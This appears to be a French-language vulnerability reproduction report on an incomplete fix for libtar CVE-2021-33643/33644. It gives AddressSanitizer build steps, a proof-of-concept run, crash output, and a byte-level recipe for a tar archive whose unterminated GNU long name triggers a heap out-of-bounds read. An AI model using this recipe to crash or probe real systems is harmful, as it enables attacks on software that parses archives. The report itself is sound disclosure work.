
libtar : correctif incomplet pour CVE-2021-33643/CVE-2021-33644 (lecture hors limites du tas dans la gestion des noms longs GNU)
Nécessite un compilateur C avec AddressSanitizer (gcc ou clang) et Python 3.
# 1. Clone upstream libtar
git clone https://github.com/tklauser/libtar.git
cd libtar
# 2. Generate the listhash sources (normally done by autotools)
mkdir -p build
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/listhash.h.in > build/libtar_listhash.h
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/list.c.in > build/libtar_list.c
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/hash.c.in > build/libtar_hash.c
# 3. Build libtar + the PoC consumer under ASan
# (CFLAGS below patch over values autotools would normally supply)
CFLAGS="-Ilib -Icompat -Ibuild -Ipoc \
-DNEED_MAKEDEV -DMAJOR_IN_SYSMACROS -DNEED_STRMODE \
-DPACKAGE_VERSION=\"1.2.20\" \
-include sys/sysmacros.h -include fnmatch.h -include fcntl.h -include string.h \
-O1 -g -std=gnu11"
SRCS="lib/append.c lib/block.c lib/decode.c lib/encode.c lib/extract.c \
lib/handle.c lib/output.c lib/util.c lib/wrapper.c compat/strmode.c \
build/libtar_list.c build/libtar_hash.c"
for f in $SRCS; do
gcc $CFLAGS -fsanitize=address -c "$f" -o "build/$(basename "${f%.c}").o"
done
ar rcs build/liblibtar_asan.a build/*.o
gcc $CFLAGS -fsanitize=address poc/poc_crash.c build/liblibtar_asan.a -o build/poc_crash
# 4. Craft the triggering archive and run the PoC
python3 poc/make_archive.py longname.tar
ASAN_OPTIONS=halt_on_error=1:detect_leaks=0 ./build/poc_crash longname.tar
(detect_leaks=0 supprime un résultat sans rapport du détecteur de fuites
préexistant — tar_close() ne libère pas th_buf.gnu_longname — qui n'a
rien à voir avec cette vulnérabilité ; omettez-le si vous voulez voir cette
fuite également.)
Non corrigé : AddressSanitizer s'interrompt avec un heap-buffer-overflow en LECTURE :
==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1
#0 safer_name_suffix lib/decode.c:39
#1 th_get_pathname lib/decode.c:60
0x... is located 0 bytes after 512-byte region [...]
allocated by thread T0 here:
#0 malloc
#1 th_read lib/block.c:192
Corrigé (après application de patches/0001-...patch) : aucun débordement ;
th_get_pathname() renvoie exactement la chaîne de 512 octets contrôlée par
l'attaquant avec un terminateur au bon décalage.
Une archive tar de 3 blocs :
typeflag='L') déclarant une taille de 512."pwn" + "A"*509 — aucun octet NUL nulle part.th_read() alloue gnu_longname sur exactement 512 octets (blocks * T_BLOCKSIZE, avec blocks == 1) et remplit chaque octet depuis l'archive.
Comme les données ne contiennent aucun NUL, le tampon n'a pas de terminateur de chaîne.
Tout code qui le traite comme une chaîne C — safer_name_suffix(),
th_get_pathname(), th_get_linkname(), l'affichage verbeux/de débogage de libtar
lui-même — lit au-delà de la fin de l'allocation.